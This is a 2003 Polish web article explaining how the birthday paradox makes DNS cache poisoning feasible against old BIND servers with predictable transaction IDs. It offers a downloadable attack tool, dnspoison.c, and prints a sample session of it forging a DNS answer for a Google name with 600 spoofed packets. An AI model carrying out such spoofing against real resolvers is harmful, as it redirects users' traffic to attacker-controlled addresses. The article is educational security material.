powrót do strony głównej >>

Implementacja protokołu DNS a paradoks urodzin

Wyobraźmy sobie grupę składającą się z 23 zupełnie przypadkowo dobranych osób. Jakie jest prawdopodobieństwo zdarzenia, że są wśród nich dwie takie, które urodziły się w tym samym dniu roku? Jest to mało prawdopodobne? Przeciwnie. Wynosi aż 50,04%. W grupie 80-osobowej to już 96,53%. Jest to tzw. ,,paradoks urodzin'', wykorzystywany m.in. w kryptografii do znajdowania kolizji w funkcjach hashujących.

Okazuje się, że powyższy fakt może być także wykorzystany do wprowadzania spoofowanych wpisów do serwera DNS. Pozwala szybko odnaleźć wartość, która była użyta w nagłówku zapytania. I była to jedna z metod, stosowanych przez crackerów do atakowania serwerów nazw.

W roku 2002 znaleziono błąd w serwerze nazw BIND w wersjach 4.x i 8.x związany z wykorzystaniem owej techniki. Problem polega na tym, że powyższe wersje serwera w chwili otrzymania wielu rekurencyjnych zapytań o ten sam rekord DNS wysyłają równocześnie tyle samo zapytań do zdalnych serwerów, odpowiedzialnych za daną strefę.
W nagłówkach pakietów pierwsze pole 16-bitowe Transaction ID służy do identyfikacji pakietów zwrotnych w celu skojarzenia ich z danym zapytaniem.

typedef struct {
   unsigned id :16;      /* query identification number */
   unsigned rd :1;       /* recursion desired */
   unsigned tc :1;       /* truncated message */
   unsigned aa :1;       /* authoritive answer */
   .....................
   unsigned arcount :16; /* number of resource entries */
} DNS_HEADER;

W starych wersjach serwra BIND losowość wartości pola ID była bardzo niska. Była jedynie każdorazowo zwiększana o 1 przy każdym kolejnym pakiecie. Atakujący mógł więc wysłać próbny pakiet do serwera, by dowiedzieć się o aktualnej wartości ID, a następnie oszukać serwer, stosując technikę spoofowania. Wystarczyło wysłać serwerowi kilka spreparowanych pakietów-odpowiedzi z nieco większymi wartościami ID.

Prawdopodobieństwo wystąpienia kolizji paradoksu urodzin w zbiorze o mocy M przy x próbach wyraża się wzorem:

Szansa na kolizję rośnie więc bardzo szybko wraz ze wzrostem liczby prób, w szczególności w porównaniu ze zwykłym zgadywaniem na zasadzie pełnego przeglądu (wzrost tylko liniowy). Przy ponad 700 próbach (w przypadku DNS) odgadnięcie wartości ID jest prawie pewne, co pokazuje poniższy wykres.

Wykres prawdopodobieństwa

Program dnspoison pozwala skorzystać z powyżej opisanych faktów i sprawdzić w praktyce opisany ,,atak urodzinowy''. Poniżej można pobrać kod programu.

Pliki do pobrania
Nazwa Data Opis
dnspoison.c 2003-05-10 Kod źródłowy programu dnspoison

A to jest przykład przeprowadzony w wyizolowanym fragmencie sieci, pokazujący jak to działa w praktyce.

**************************************************
                    DNS POISON
            by [rob@submarine.ath.cx]

  Ten program (na licencji GNU GPL) służy tylko
              do celów edukacyjnych.
**************************************************

[*]--- Pobieranie danych do spoof'owania w warstwie IP
    |
   [*] Pod jaki adres IP serwera będziemy się podszywać (10.0.0.1)?
   [>] 216.239.32.10
   [*] Pod jaki port serwera będziemy się podszywać [53]?
   [>] 
   [*] Pod jaki adres IP klienta będziemy się podszywać (10.0.0.3)?
   [>] 192.168.66.17
   [*] Pod jaki port klienta będziemy się podszywać [32768]?
   [>] 
   [*] Jaki adres IP będziemy atakować [10.0.0.2]?
   [>] 192.168.66.2
   [*] Na jaki port będziemy atakować [32786]?
   [>] 32768
    |
[*]--- Pobieranie danych o spoof'owanych pakietach DNS
   [*]--- Sekcja zapytań pakietu DNS
      [1] Zapytanie o jaką nazwę?
      [>] spoofed.google.com
      [1] Zapytanie o jaki typ?
      [>] a
      [1] Zapytanie o jaką klasę?
      [>] in
      [2] Zapytanie o jaką nazwę (<enter>, jeśli koniec)?
      [>] 
   [*]--- Sekcja odpowiedzi pakietu DNS
      [1] Odpowiedź dla jakiej domeny?
      [>] spoofed.google.com
      [1] Odpowiedź jakiego typu?
      [>] a
      [1] Odpowiedź jakiej klasy?
      [>] in
      [1] Wartość TTL (sekundy)?
      [>] 86400
      [1] Treść odpowiedzi?
      [>] 66.6.66.6
      [2] Odpowiedź dla jakiej domeny (<enter>, jeśli koniec)?
      [>] 
   [*]--- Sekcja serwerów autorytatywnych
      [1] Jaka domena (<enter>, jeśli koniec)?
      [>] 
   [*]--- Technika ataku
      [*] Ile pakietów wysłać?
      [>] 600
   [*]--- Dane pobrane
[*]--- Potwierdzenie ataku
 |
 |  Adres atakowanego systemu:                       192.168.66.2 : 32768
 |  Spoof'owany adres klienta:                       192.168.66.17 : 32768
 |  Spoof'owany adres serwera:                       216.239.32.10 : 53
 |  Ilość pakietów:                                  600 
 |  Wielkość każdego z pakietów:                     98 B
 |  Prawdopodobieństwo wstrzelenia się (sukcesu):    93,6 %
 |
[*] Czy rozpocząć atak ? [Tak/Nie]
[>] Tak
[*] Otwieranie gniazda sieciowego...
 |
[*]--- WYSYŁANIE PAKIETÓW
 |
[*]---  Zapytania do serwera...
[!]---> Pakiety: 600
[*]---  Odpowiedzi do serwera...
[!]---> Pakiety: 600
 |
[*]--- Zakończono wysyłanie pakietów

Oto efekt powyższego przykładu:



Copyright © Robert Nowotniak
10 maja 2003